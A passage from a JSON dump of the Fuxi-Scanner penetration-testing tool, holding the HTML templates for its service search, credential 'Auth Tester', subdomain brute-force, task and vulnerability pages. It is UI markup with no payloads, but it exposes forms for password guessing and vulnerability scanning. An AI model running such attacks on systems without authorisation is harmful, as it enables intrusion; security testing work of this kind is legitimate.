    "content": "{% extends \"base.html\" %}\n{% block css %}\n    <link href=\"static/css/duallistbox/bootstrap-duallistbox.css\" rel=\"stylesheet\">\n{% endblock %}\n{% block content %}\n<main class=\"app-content\">\n    <div class=\"app-title\">\n        <div>\n            <h1><i class=\"fa fa-th-list\"></i>&nbsp;Service Search</h1>\n            <p></p>\n        </div>\n        <ul class=\"app-breadcrumb breadcrumb side\">\n            <li class=\"breadcrumb-item\"><i class=\"fa fa-home fa-lg\"></i></li>\n            <li class=\"breadcrumb-item\">Home</li>\n            <li class=\"breadcrumb-item active\"><a href=\"#\">Search</a></li>\n        </ul>\n    </div>\n    <div class=\"row\">\n        <div class=\"col-md-12\">\n            <div class=\"tile\">\n                <div>\n                    <a class=\"btn btn-primary btn_select\" href=\"#\" id=\"btn_select\" rel=\"select_all\">Select All</a>&nbsp;&nbsp;\n                    <a class=\"btn btn-primary\" href=\"#\" id=\"new_scan\" role=\"button\" onclick=\"newServiceScan()\" title=\"New Scan\" data-toggle=\"modal\" data-target=\"#newScan\"><i class=\"fa fa-gitlab fa-lg\"></i>New Scan</a>\n                    <a class=\"btn btn-primary\" href=\"#\" role=\"button\" onclick=\"newAuthTester()\" title=\"New Auth Tester\" data-toggle=\"modal\" data-target=\"#newAuthtest\"><i class=\"fa fa-gitlab fa-lg\"></i>New Auth Tester</a>\n                </div>\n                <div class=\"modal fade\" id=\"newScan\" tabindex=\"-1\"  role=\"dialog\" aria-labelledby=\"myModalLabel\" aria-hidden=\"true\"><!-- /scan-modal -->\n                    <div class=\"modal-dialog\">\n                        <div class=\"modal-content\">\n                            <div class=\"modal-header\">\n                                <h4 class=\"modal-title\" id=\"myModalLabel\">\n                                    New Scan\n                                </h4>\n                            </div>\n                            <div class=\"modal-body\" >\n                                <form class=\"form-horizontal\" role=\"form\">\n\n                                    <div class=\"form-group\">\n                                        <label class=\"control-label no-padding-right\">Task Name <span class=\"text-danger\">*</span></label>\n                                        <div>\n                                            <input type=\"text\" class=\"form-control\" id=\"task_name\" name=\"taskname_val\" placeholder=\"Task Name\">\n                                        </div>\n                                    </div>\n\n                                    <div class=\"space-6\"></div>\n                                    <div class=\"form-group\">\n                                        <label class=\"control-label no-padding-right\">Recursion</label>\n                                        <div>\n                                            <select class=\"form-control\" id=\"form-field-plan\" title=\"Recursion\" name=\"recursion_val\">\n                                                <option value=\"0\">Once</option>\n                                                <option value=\"1\">Every day</option>\n                                                <option value=\"7\">Every week</option>\n                                                <option value=\"30\">Every month</option>\n                                            </select>\n                                        </div>\n                                    </div>\n\n                                    <div class=\"form-group\">\n                                        <label class=\"control-label no-padding-right\">Plugin Select <span class=\"text-danger\">*</span></label>\n                                        <div>\n                                            <select multiple=\"multiple\" size=\"6\" name=\"plugin_list\" title=\"Plugin Select\">\n                                                {% for a in plugin_info %}\n                                                    <option value=\"{{ a['_id'] }}\">{{ a['plugin_name'] }}</option>\n                                                {% endfor %}\n                                            </select>\n                                        </div>\n                                    </div>\n\n                                    <div class=\"hr hr-16 hr-dotted\"></div>\n                                    <div class=\"form-group\">\n                                        <label class=\"control-label no-padding-right\">Target <span class=\"text-danger\">*</span></label>\n                                        <div>\n                                            <textarea class=\"form-control\" rows=\"5\" id=\"scan_target_list\" title=\"Target\" name=\"target_val\" placeholder=\"Loading...\"></textarea>\n                                        </div>\n                                    </div>\n                                    <div class=\"modal-footer\">\n                                        <button type=\"button\" class=\"btn btn-secondary\"  data-dismiss=\"modal\" aria-hidden=\"true\">Cancel</button>\n                                        <button class=\"btn btn-primary \" id=\"server-scan\" type=\"button\">\n                                            <span>Submit</span> <i class=\"fa fa-send m-l-10\"></i>\n                                        </button>\n                                    </div>\n                                </form>\n                            </div>\n                        </div><!-- /.modal-content -->\n                    </div><!-- /.modal-dialog -->\n                </div><!-- /.modal-end -->\n                <div class=\"modal fade\" id=\"newAuthtest\" tabindex=\"-1\"  role=\"dialog\" aria-labelledby=\"myModalLabel\" aria-hidden=\"true\"><!-- /scan-modal -->\n                    <div class=\"modal-dialog\">\n                        <div class=\"modal-content\">\n                            <div class=\"modal-header\">\n                                <h4 class=\"modal-title\" id=\"myModalLabel\">\n                                    New Auth Tester\n                                </h4>\n                            </div>\n                            <div class=\"modal-body\" >\n                                <form class=\"form-horizontal\" role=\"form\">\n\n                                    <div class=\"form-group\">\n                                        <label class=\"control-label no-padding-right\">Task Name <span class=\"text-danger\">*</span></label>\n                                        <div>\n                                            <input type=\"text\" class=\"form-control\" name=\"auth_task_name\" placeholder=\"Task Name\">\n                                        </div>\n                                    </div>\n\n                                    <div class=\"form-group\">\n                                        <label class=\"control-label no-padding-right\">Recursion</label>\n                                        <div>\n                                            <select class=\"form-control\" id=\"form-field-plan\" title=\"Recursion\" name=\"auth_recursion\">\n                                                <option value=\"0\">Once</option>\n                                                <option value=\"1\">Every day</option>\n                                                <option value=\"7\">Every week</option>\n                                                <option value=\"30\">Every month</option>\n                                            </select>\n                                        </div>\n                                    </div>\n\n                                    <div class=\"form-group\">\n                                        <label class=\"control-label no-padding-right\">Args</label>\n                                        <div>\n                                            <input class=\"form-control\" name=\"auth_args\" title=\"Args\" placeholder=\"\"/>\n                                        </div>\n                                    </div>\n\n                                    <div class=\"space-6\"></div>\n                                    <div class=\"form-group\">\n                                        <label class=\"control-label no-padding-right\">Protocols Select <span class=\"text-danger\">*</span></label>\n                                        <div>\n                                            <select multiple=\"multiple\" size=\"6\" name=\"auth_service_list\" title=\"Plugin Select\">\n                                                {% for a in protocols %}\n                                                    <option value=\"{{ a }}\">{{ a | upper }}</option>\n                                                {% endfor %}\n                                            </select>\n                                        </div>\n                                    </div>\n\n                                    <div class=\"hr hr-16 hr-dotted\"></div>\n                                    <div class=\"form-group\">\n                                        <label class=\"control-label no-padding-right\">Target <span class=\"text-danger\">*</span></label>\n                                        <div>\n                                            <textarea class=\"form-control\" rows=\"5\" id=\"auth_target_list\" title=\"Target\" name=\"auth_target_list\" placeholder=\"Loading...\"></textarea>\n                                        </div>\n                                    </div>\n\n                                    <div class=\"form-group row\">\n                                        <div class=\"col-md-6\">\n                                            <label class=\"control-label no-padding-right\">Username<span class=\"text-danger\">*</span></label>\n                                            <div>\n                                                <textarea class=\"form-control\" placeholder=\"One username per line\" rows=\"6\" name=\"auth_username_list\">{{ username_list }}</textarea>\n                                            </div>\n                                        </div>\n                                        <div class=\"col-md-6\">\n                                            <label class=\"control-label no-padding-right\">Password<span class=\"text-danger\">*</span></label>\n                                            <div>\n                                                <textarea class=\"form-control\" placeholder=\"One password per line\" rows=\"6\" name=\"auth_password_list\">{{ password_list }}</textarea>\n                                            </div>\n                                        </div>\n                                    </div>\n\n                                    <div class=\"modal-footer\">\n                                        <button type=\"button\" class=\"btn btn-secondary\"  data-dismiss=\"modal\" aria-hidden=\"true\">Cancel</button>\n                                        <button class=\"btn btn-primary \" id=\"asset-auth-tasks\" type=\"button\">\n                                            <span>Submit</span> <i class=\"fa fa-send m-l-10\"></i>\n                                        </button>\n                                    </div>\n                                </form>\n                            </div>\n                        </div><!-- /.modal-content -->\n                    </div><!-- /.modal-dialog -->\n                </div><!-- /.modal-end -->\n\n            </div>\n            <div class=\"row\">\n                <div class=\"col-lg-12\">\n                <div class=\"list-group\">\n                    <a class=\"list-group-item list-group-item-action\">\n                        <h4 class=\"list-group-item-heading\">\n                            {{ data }}\n                        </h4>\n                    </a>\n                </div>\n                    {% for i in search_result %}\n                        <div class=\"list-group\">\n                            <a class=\"list-group-item list-group-item-action\">\n                                <h4 class=\"list-group-item-heading\">\n                                    <input title=\"checkbox\" type=\"checkbox\" name='select_id' value=\"{{ i['host'] }}:{{ i['port'] }}\" />\n                                    &nbsp;&nbsp;&nbsp;&nbsp;Host:&nbsp;&nbsp;{{ i['host'] }}&nbsp;&nbsp;&nbsp;&nbsp;Port:&nbsp;&nbsp;{{ i['port'] }}&nbsp;&nbsp;&nbsp;&nbsp;Product:&nbsp;&nbsp;{{ i['product'] }}&nbsp;&nbsp;&nbsp;&nbsp;Version:&nbsp;&nbsp;{{ i['version'] }}\n                                </h4>\n                                <br>\n                                <pre style=\"font-size:15px;white-space: pre-wrap;word-wrap: break-word;\">{{ i['cpe'] }}&#13;&#10;{{ i['extrainfo'] }}&#13;&#10;{{ i['script'] }}&#13;&#10;{{ i['asset_name'] }}&#13;&#10;{{ i['date'] }}</pre>\n                            </a>\n                        </div>\n                        <br>\n                    {% endfor %}\n                </div>\n            </div>\n        </div>\n    </div>\n\n</main>\n\n{% endblock %}\n{% block js %}\n    <!-- Data table plugin-->\n    <script src=\"static/js/plugins/sweetalert/sweetalert.min.js\"></script>\n    <script src=\"static/js/jquery/jquery.bootstrap-duallistbox.js\"></script>\n    <script src=\"static/js/server/search.js\"></script>\n\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/subdomain-brute.html",
    "content": "{% extends \"base.html\" %}\n{% block css %}\n    <link href=\"static/css/duallistbox/bootstrap-duallistbox.css\" rel=\"stylesheet\">\n{% endblock %}\n{% block content %}\n<main class=\"app-content\">\n    <div class=\"app-title\">\n        <div>\n            <h1><i class=\"fa fa-th-list\"></i>&nbsp;Subdomain Brute</h1>\n            <p></p>\n        </div>\n        <ul class=\"app-breadcrumb breadcrumb side\">\n            <li class=\"breadcrumb-item\"><i class=\"fa fa-home fa-lg\"></i></li>\n            <li class=\"breadcrumb-item\">Home</li>\n            <li class=\"breadcrumb-item active\"><a href=\"#\">New Brute</a></li>\n        </ul>\n    </div>\n    <div class=\"row\">\n        <div class=\"col-md-12\">\n            <div class=\"tile\">\n                <div class=\"tile-body\">\n                    <div id=\"sampleTable_wrapper\" class=\"dataTables_wrapper container-fluid dt-bootstrap4 no-footer\">\n                        <div class=\"row\"><div class=\"col-sm-12 col-md-6\">\n                            <div class=\"dataTables_length\" id=\"sampleTable_length\">\n                                <a class=\"btn btn-primary\" href=\"#\" data-target=\"#newDomain\" data-toggle=\"modal\" title=\"Add Plugins\">\n                                    <i class=\"fa fa-plus-square fa-lg\"></i> New Domain</a>\n                                <br>\n                                <br>\n                            </div>\n                        </div>\n                        </div>\n\n                        <table class=\"table table-hover table-bordered\" id=\"sampleTable\">\n                            <thead>\n                            <tr class=\"text-center\">\n                                <th>Name</th>\n                                <th>Domain</th>\n                                <th>Status</th>\n                                <th>Date</th>\n                                <th>Manage</th>\n                            </tr>\n                            </thead>\n                            <tbody>\n                            {% for i in domain_data %}\n                                <tr class=\"center\">\n                                    <td>\n                                        <a href=\"subdomain-list?domain={{ i['_id'] }}\">{{ i['domain_name'] }}</a>\n                                    </td>\n                                    <td>{{ i['domain'] | join(',') | truncate(15 , True)}}</td>\n                                    <td>{{ i['status'] }}</td>\n                                    <td>{{ i['date'] }}</td>\n                                    <td class=\"text-center\">\n                                        <div class=\"hidden-sm hidden-xs action-buttons\">\n                                            <a onclick=\"get_domain_host('{{ i['_id'] }}')\" role=\"button\" href=\"#\" title=\"New Vul Scan\" data-toggle=\"modal\" data-target=\"#newScan\">\n                                                <i class=\"fa fa-bug\"></i>\n                                            </a>\n                                            &nbsp;\n                                            &nbsp;\n                                            <a onclick=\"get_domain_awvs('{{ i['_id'] }}')\" role=\"button\" href=\"#\" title=\"Acunetix Scanner\" data-toggle=\"modal\" data-target=\"#newAWVS\">\n                                                <i class=\"fa fa-heartbeat\"></i>\n                                            </a>\n                                            &nbsp;\n                                            &nbsp;\n                                            <a role=\"button\" href=\"?download={{ i['_id'] }}\" title=\"Download\" >\n                                                <i class=\"fa fa-download\"></i>\n                                            </a>\n                                            &nbsp;\n                                            &nbsp;\n                                            <a id=\"test1\" role=\"button\" href=\"#\" onclick=\"delete_domain('{{ i['_id'] }}')\" title=\"Delete\">\n                                                <i class=\"fa fa-trash-o\"></i>\n                                            </a>\n                                        </div>\n                                    </td>\n                                </tr>\n                            {% endfor %}\n                            </tbody>\n                        </table>\n\n                        <div class=\"modal\" id=\"newDomain\" >\n                            <div class=\"modal-dialog\" role=\"document\">\n                                <div class=\"modal-content\">\n                                    <div class=\"modal-header\">\n                                        <h5 class=\"modal-title\">Add Domain</h5>\n                                        <button class=\"close\" type=\"button\" data-dismiss=\"modal\" aria-label=\"Close\"><span aria-hidden=\"true\">×</span></button>\n                                    </div>\n                                    <div class=\"modal-body\">\n\n                                        <form action=\"#\" class=\"dropzone\">\n                                            <div class=\"form-group\">\n                                                <label class=\"control-label no-padding-right\">Domain Name<span class=\"text-danger\">*</span></label>\n                                                <div>\n                                                    <input type=\"text\" class=\"form-control\" id=\"domain_name\" name=\"domain_name_val\" placeholder=\"Task Name\">\n                                                </div>\n                                            </div>\n\n                                            <div class=\"form-group\">\n                                                <label class=\"control-label no-padding-right\">Domain<span class=\"text-danger\">*</span></label>\n                                                <div>\n                                                    <textarea type=\"text\" class=\"form-control\" id=\"domain\" name=\"domain_val\" placeholder=\"Domain Name\"></textarea>\n                                                </div>\n                                            </div>\n\n                                            <div class=\"toggle lg\">\n                                                <label>Third-level Domain\n                                                    <input type=\"checkbox\" checked><span class=\"button-indecator\"></span>\n                                                </label>\n                                            </div>\n                                        </form>\n                                    </div>\n                                    <div class=\"modal-footer\">\n                                        <button type=\"button\" class=\"btn btn-secondary\"  data-dismiss=\"modal\" aria-hidden=\"true\">Cancel</button>\n                                        <button class=\"btn btn-primary \" id=\"new_domain\" type=\"button\">\n                                            <i class=\"fa fa-fw fa-lg fa-check-circle\"></i>Submit\n                                        </button>\n                                    </div>\n                                </div><!-- /.modal-content -->\n                            </div><!-- /.modal-dialog -->\n                        </div><!-- /.modal -->\n                    </div>\n\n                    <div class=\"modal\" id=\"newAWVS\" >\n                        <div class=\"modal-dialog\" role=\"document\">\n                            <div class=\"modal-content\">\n                                <div class=\"modal-header\">\n                                    <h5 class=\"modal-title\">Acunetix Scanner</h5>\n                                    <button class=\"close\" type=\"button\" data-dismiss=\"modal\" aria-label=\"Close\"><span aria-hidden=\"true\">×</span></button>\n                                </div>\n                                <div class=\"modal-body\">\n                                    <form class=\"form-horizontal\" role=\"form\">\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Task Name <span class=\"text-danger\">*</span></label>\n                                            <div>\n                                                <input type=\"text\" class=\"form-control\" id=\"awvs_task_name\" name=\"awvs_task_name\" placeholder=\"\">\n                                            </div>\n                                        </div>\n\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Target <span class=\"text-danger\">*</span></label>\n                                            <div>\n                                                <textarea class=\"form-control\" id=\"awvs_target\" name=\"awvs_target\" rows=\"4\" placeholder=\"One url per line:&#13;&#10;http://example.com&#13;&#10;http://example.com\"></textarea>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Scan Type <span class=\"text-danger\">*</span></label>\n                                            <div >\n                                                <select class=\"form-control col-md-7\" id=\"awvs_scan_type\" title=\"Scan Type\" name=\"awvs_scan_type\">\n                                                    <option value=\"0\">Full Scan</option>\n                                                    <option value=\"1\">High Risk Vulnerabilities</option>\n                                                    <option value=\"2\">Cross-site Scripting Vulnerabilities</option>\n                                                    <option value=\"3\">SQL Injection Vulnerabilities</option>\n                                                    <option value=\"4\">Weak Passwords</option>\n                                                    <option value=\"5\">Crawl Only</option>\n                                                </select>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"hr hr-16 hr-dotted\"></div>\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Description </label>\n                                            <div>\n                                                <input type=\"text\" class=\"form-control\" id=\"awvs_desc_val\" name=\"awvs_desc_val\" placeholder=\"\">\n                                            </div>\n                                        </div>\n\n                                    </form>\n                                </div>\n                                <div class=\"modal-footer\">\n                                    <button type=\"button\" class=\"btn btn-secondary\"  data-dismiss=\"modal\" aria-hidden=\"true\">Cancel\n                                    </button>\n                                    <button class=\"btn btn-primary\" id=\"awvs-scan\" type=\"button\">\n                                        <span>OK</span>\n                                    </button>\n                                </div>\n                            </div><!-- /.modal-content -->\n                        </div><!-- /.modal-dialog -->\n                    </div><!-- /.modal -->\n\n                    <div class=\"modal fade\" id=\"newScan\" tabindex=\"-1\"  role=\"dialog\" aria-labelledby=\"myModalLabel\" aria-hidden=\"true\"><!-- /scan-modal -->\n                        <div class=\"modal-dialog\">\n                            <div class=\"modal-content\">\n                                <div class=\"modal-header\">\n                                    <h4 class=\"modal-title\" id=\"myModalLabel\">\n                                        New Scan\n                                    </h4>\n                                </div>\n                                <div class=\"modal-body\" >\n                                    <form class=\"form-horizontal\" role=\"form\">\n\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Task Name <span class=\"text-danger\">*</span></label>\n                                            <div>\n                                                <input type=\"text\" class=\"form-control\" id=\"task_name\" name=\"taskname_val\" placeholder=\"Task Name\">\n                                            </div>\n                                        </div>\n\n                                        <div class=\"space-6\"></div>\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Recursion</label>\n                                            <div>\n                                                <select class=\"form-control\" id=\"form-field-plan\" title=\"Recursion\" name=\"recursion_val\">\n                                                    <option value=\"0\">Once</option>\n                                                    <option value=\"1\">Every day</option>\n                                                    <option value=\"7\">Every week</option>\n                                                    <option value=\"30\">Every month</option>\n                                                </select>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Plugin Select <span class=\"text-danger\">*</span></label>\n                                            <div>\n                                                <select multiple=\"multiple\" size=\"6\" name=\"plugin_list\" title=\"Plugin Select\">\n                                                    {% for a in plugin_data %}\n                                                        <option value=\"{{ a['_id'] }}\">{{ a['plugin_name'] }}</option>\n                                                    {% endfor %}\n                                        </select>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"hr hr-16 hr-dotted\"></div>\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Target <span class=\"text-danger\">*</span></label>\n                                            <div>\n                                                <textarea class=\"form-control\" rows=\"5\" id=\"scan_target_list\" title=\"Target\" name=\"target_val\" placeholder=\"Loading...\"></textarea>\n                                            </div>\n                                        </div>\n                                        <div class=\"modal-footer\">\n                                            <button type=\"button\" class=\"btn btn-secondary\"  data-dismiss=\"modal\" aria-hidden=\"true\">Cancel\n                                            </button>\n                                            <button class=\"btn btn-primary \" id=\"domain-scan\" type=\"button\">\n                                                <span>Submit</span> <i class=\"fa fa-send m-l-10\"></i>\n                                            </button>\n                                        </div>\n                                    </form>\n                                </div>\n                            </div><!-- /.modal-content -->\n                        </div><!-- /.modal-dialog -->\n                    </div><!-- /.modal-end -->\n                </div>\n\n            </div>\n        </div>\n    </div>\n</main>\n\n{% endblock %}\n{% block js %}\n    <!-- Data table plugin-->\n    <script type=\"text/javascript\" src=\"static/js/plugins/jquery.dataTables.min.js\"></script>\n    <script type=\"text/javascript\" src=\"static/js/plugins/dataTables.bootstrap.min.js\"></script>\n    <script src=\"static/js/plugins/sweetalert/sweetalert.min.js\"></script>\n    <script src=\"static/js/jquery/jquery.bootstrap-duallistbox.js\"></script>\n    <script src=\"static/js/server/subdomain-brute.js\"></script>\n{% endblock %}\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/subdomain-list.html",
    "content": "{% extends \"base.html\" %}\n{% block css %}\n\n{% endblock %}\n{% block content %}\n<main class=\"app-content\">\n      <div class=\"app-title\">\n        <div>\n          <h1><i class=\"fa fa-th-list\"></i>&nbsp;Subdomain List</h1>\n          <p></p>\n        </div>\n        <ul class=\"app-breadcrumb breadcrumb side\">\n          <li class=\"breadcrumb-item\"><i class=\"fa fa-home fa-lg\"></i></li>\n          <li class=\"breadcrumb-item\">Home</li>\n          <li class=\"breadcrumb-item active\"><a href=\"#\">Subdomain List</a></li>\n        </ul>\n      </div>\n      <div class=\"row\">\n        <div class=\"col-md-12\">\n          <div class=\"tile\">\n            <div class=\"tile-body\">\n              <table class=\"table table-hover table-bordered\" id=\"sampleTable\">\n                <thead>\n                    <tr class=\"text-center\">\n                        <th>Subdomain</th>\n                        <th>Domain</th>\n                        <th>Title</th>\n                        <th>IP</th>\n                        <th>Date</th>\n                        <th>Manage</th>\n                    </tr>\n                </thead>\n                <tbody>\n                {% for i in sub_result %}\n                    <tr  class=\"center\">\n                        <td>\n                            <a role=\"button\" href=\"http://{{ i['subdomain'] }}\" target=\"view_window\" title=\"Open\">\n                                {{ i['subdomain'] }}\n                            </a>\n                        </td>\n                        <td>{{ i['domain'] }}</td>\n                        <td>{{ i['title'] }}</td>\n                        <td>{{ i['result'] | join(' | ') | truncate(25 , True) }}</td>\n                        <td>{{ i['date'] }}</td>\n                        <td class=\"text-center\">\n                            <a href=\"sudomain-list?delete={{ i['_id'] }}\" title=\"delete\" >\n                                <i class=\"fa fa-trash-o\"></i>\n                            </a>\n                        </td>\n                    </tr>\n                {% endfor %}\n                </tbody>\n              </table>\n            </div>\n          </div>\n        </div>\n      </div>\n    </main>\n\n{% endblock %}\n{% block js %}\n    <!-- Data table plugin-->\n    <script type=\"text/javascript\" src=\"static/js/plugins/jquery.dataTables.min.js\"></script>\n    <script type=\"text/javascript\" src=\"static/js/plugins/dataTables.bootstrap.min.js\"></script>\n    <script src=\"static/js/plugins/sweetalert/sweetalert.min.js\"></script>\n    <script src=\"static/js/server/subdomain-list.js\"></script>\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/system-config.html",
    "content": ""
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/task-management.html",
    "content": "{% extends \"base.html\" %}\n{% block css %}\n\n{% endblock %}\n{% block content %}\n<main class=\"app-content\">\n    <div class=\"app-title\">\n        <div>\n            <h1><i class=\"fa fa-th-list\"></i>&nbsp;Task Management</h1>\n            <p></p>\n        </div>\n        <ul class=\"app-breadcrumb breadcrumb side\">\n            <li class=\"breadcrumb-item\"><i class=\"fa fa-home fa-lg\"></i></li>\n            <li class=\"breadcrumb-item\">Home</li>\n            <li class=\"breadcrumb-item active\"><a href=\"#\">Task List</a></li>\n        </ul>\n    </div>\n\n    <div class=\"row\">\n        <div class=\"col-md-12\">\n            <div class=\"tile\">\n                <div class=\"tile-body\">\n                    <table class=\"table table-hover table-bordered\" id=\"sampleTable\">\n                        <thead>\n                        <tr class=\"text-center\">\n                            <th>Name</th>\n                            <th>Recursion</th>\n                            <th>Status</th>\n                            <th>Scan date</th>\n                            <th>Last Modified</th>\n                            <th>Manage</th>\n                        </tr>\n                        </thead>\n                        <tbody>\n                        {% for i in task_data %}\n                            <tr>\n                                <td>\n                                    <a href=\"vulnerability?task={{ i['_id'] }}\">{{ i['task_name'] }}</a>\n                                </td>\n                                {% if i['task_recursion'] == '0' %}\n                                    <td>Once</td>\n                                {% elif i['task_recursion'] == '1' %}\n                                    <td>Every day</td>\n                                {% elif i['task_recursion'] == '7' %}\n                                    <td>Every week</td>\n                                {% elif i['task_recursion'] == '30' %}\n                                    <td>Every month</td>\n                                {% endif %}\n                                <td>{{ i['task_status'] }}</td>\n                                <td>{{ i['start_date'] }}</td>\n                                <td>{{ i['end_date'] }}</td>\n                                <td class=\"text-center\">\n                                    <a onclick=\"rescan_task('{{ i['_id'] }}')\" role=\"button\" href=\"#\" title=\"Rescan\">\n                                        <i class=\"fa fa-refresh\"></i>&nbsp;&nbsp;\n                                    </a>\n                                    &nbsp;\n                                    <a onclick=\"task_edit_id('{{ i['_id'] }}')\"  role=\"button\" data-toggle=\"modal\" href=\"#\" title=\"Edit\" data-target=\"#editTask\">\n                                        <i class=\"fa fa-pencil\"></i>\n                                    </a>\n                                    &nbsp;\n                                    <a onclick=\"task_delete('{{ i['_id'] }}')\"  role=\"button\" href=\"#\" title=\"Delete\">\n                                        <i class=\"fa fa-trash-o\"></i>\n                                    </a>\n                                </td>\n                            </tr>\n                        {% endfor %}\n                        </tbody>\n                    </table>\n\n                    <div class=\"modal fade\" id=\"editTask\" tabindex=\"-1\"  role=\"dialog\" aria-labelledby=\"myModalLabel\" aria-hidden=\"true\">\n                        <div class=\"modal-dialog\">\n                            <div class=\"modal-content\">\n                                <div class=\"modal-header\">\n                                    <h4 class=\"modal-title\" id=\"myModalLabel\">\n                                        Edit Task\n                                    </h4>\n                                </div>\n                                <div class=\"modal-body\" >\n                                    <form class=\"form-horizontal\" role=\"form\">\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Task Name</label>\n                                            <div>\n                                                <input type=\"text\" class=\"form-control\" id=\"task_name\" name=\"taskname_val\" placeholder=\"Task Name\">\n                                            </div>\n                                        </div>\n\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Task ID</label>\n                                            <div>\n                                                <input type=\"text\" class=\"form-control\" id=\"task_id\" name=\"task_id\" disabled=\"disabled\" title=\"Task ID\">\n                                            </div>\n                                        </div>\n                                        <div class=\"space-6\"></div>\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Recursion</label>\n                                            <div>\n                                                <select class=\"form-control\" id=\"form-field-plan\" title=\"Recursion\" name=\"recursion_val\">\n                                                    <option value=\"0\">Once</option>\n                                                    <option value=\"1\">Every day</option>\n                                                    <option value=\"7\">Every week</option>\n                                                    <option value=\"30\">Every month</option>\n                                                </select>\n                                            </div>\n                                        </div>\n                                        <div class=\"hr hr-16 hr-dotted\"></div>\n\n                                        <div class=\"form-group\">\n                                            <label class=\"control-label no-padding-right\">Target</label>\n                                            <div>\n                                                <textarea class=\"form-control\" rows=\"5\" id=\"scan_target_list\" title=\"Target\" name=\"target_val\"></textarea>\n                                            </div>\n                                        </div>\n                                        <div class=\"modal-footer\">\n                                            <button type=\"button\" class=\"btn btn-secondary\"  data-dismiss=\"modal\" aria-hidden=\"true\">Cancel\n                                            </button>\n                                            <button class=\"btn btn-primary task-update\" type=\"button\">\n                                                <span>Submit</span> <i class=\"fa fa-send m-l-10\"></i>\n                                            </button>\n                                        </div>\n                                    </form>\n                                </div>\n                            </div><!-- /.modal-content -->\n                        </div><!-- /.modal-dialog -->\n                    </div>\n\n                </div>\n            </div>\n        </div>\n    </div>\n</main>\n\n{% endblock %}\n{% block js %}\n    <!-- Data table plugin-->\n    <script type=\"text/javascript\" src=\"static/js/plugins/jquery.dataTables.min.js\"></script>\n    <script type=\"text/javascript\" src=\"static/js/plugins/dataTables.bootstrap.min.js\"></script>\n    <script src=\"static/js/plugins/sweetalert/sweetalert.min.js\"></script>\n    <script src=\"static/js/server/task-management.js\"></script>\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/vulnerability.html",
    "content": "{% extends \"base.html\" %}\n{% block css %}\n\n{% endblock %}\n{% block content %}\n<main class=\"app-content\">\n      <div class=\"app-title\">\n        <div>\n          <h1><i class=\"fa fa-th-list\"></i>&nbsp;Vulnerability Management</h1>\n          <p></p>\n        </div>\n        <ul class=\"app-breadcrumb breadcrumb side\">\n          <li class=\"breadcrumb-item\"><i class=\"fa fa-home fa-lg\"></i></li>\n          <li class=\"breadcrumb-item\">Home</li>\n          <li class=\"breadcrumb-item active\"><a href=\"#\">Vulnerability List</a></li>\n        </ul>\n      </div>\n      <div class=\"row\">\n        <div class=\"col-md-12\">\n          <div class=\"tile\">\n            <div class=\"tile-body\">\n              <table class=\"table table-hover table-bordered\" id=\"sampleTable\">\n                <thead>\n                    <tr class=\"text-center\">\n                        <th>Host</th>\n                        <th>Name</th>\n                        <th>Type</th>\n                        <th>Task</th>\n                        <th>Date</th>\n                        <th>Manage</th>\n                    </tr>\n                </thead>\n                <tbody>\n                {% for i in vul_data %}\n                    <tr class=\"text-center\">\n                        <td>\n                            <a role=\"button\" href=\"http://{{ i['target'] }}\" target=\"_blank\" title=\"Result\">\n                                {{ i['target'] }}\n                            </a>\n                        </td>\n                        <td>{{ i['plugin_name'] }}</td>\n                        <td>{{ i['plugin_type'] }}</td>\n                        <td>{{ i['task_name'] }}</td>\n                        <td>{{ i['date'] }}</td>\n                        <td class=\"text-center\">\n                            <a onclick=\"vul_result('{{ i['_id'] }}')\"  role=\"button\" data-target=\"#vulResult\" data-toggle=\"modal\" href=\"#\" title=\"Result\" >\n                                <i class=\"ace-icon fa fa-file-archive-o bigger-130\"></i>\n                            </a>\n                            &nbsp;\n                            <a href=\"vulnerability?delete={{ i['_id'] }}\" title=\"Delete\" >\n                                <i class=\"fa fa-trash-o\"></i>\n                            </a>\n                        </td>\n                    </tr>\n                {% endfor %}\n                </tbody>\n              </table>\n                <div class=\"modal\" id=\"vulResult\" >\n                    <div class=\"modal-dialog\" role=\"document\">\n                        <div class=\"modal-content\">\n                            <div class=\"modal-header\">\n                                <h5 class=\"modal-title\">Vulnerability Info</h5>\n                                <button class=\"close\" type=\"button\" data-dismiss=\"modal\" aria-label=\"Close\"><span aria-hidden=\"true\">×</span></button>\n                            </div>\n                            <div class=\"modal-body\">\n                                <div id='scan_target_list'>\n\n                                </div>\n                            </div>\n                            <div class=\"modal-footer\">\n                                <button class=\"btn btn-primary\" type=\"button\" data-dismiss=\"modal\">Close</button>\n                            </div>\n                        </div>\n                    </div>\n                </div>\n\n            </div>\n          </div>\n        </div>\n      </div>\n    </main>\n\n{% endblock %}\n{% block js %}\n    <!-- Data table plugin-->\n    <script type=\"text/javascript\" src=\"static/js/plugins/jquery.dataTables.min.js\"></script>\n    <script type=\"text/javascript\" src=\"static/js/plugins/dataTables.bootstrap.min.js\"></script>\n    <script src=\"static/js/plugins/sweetalert/sweetalert.min.js\"></script>\n    <script src=\"static/js/server/vulnerability.js\"></script>\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/week-passwd-list.html",
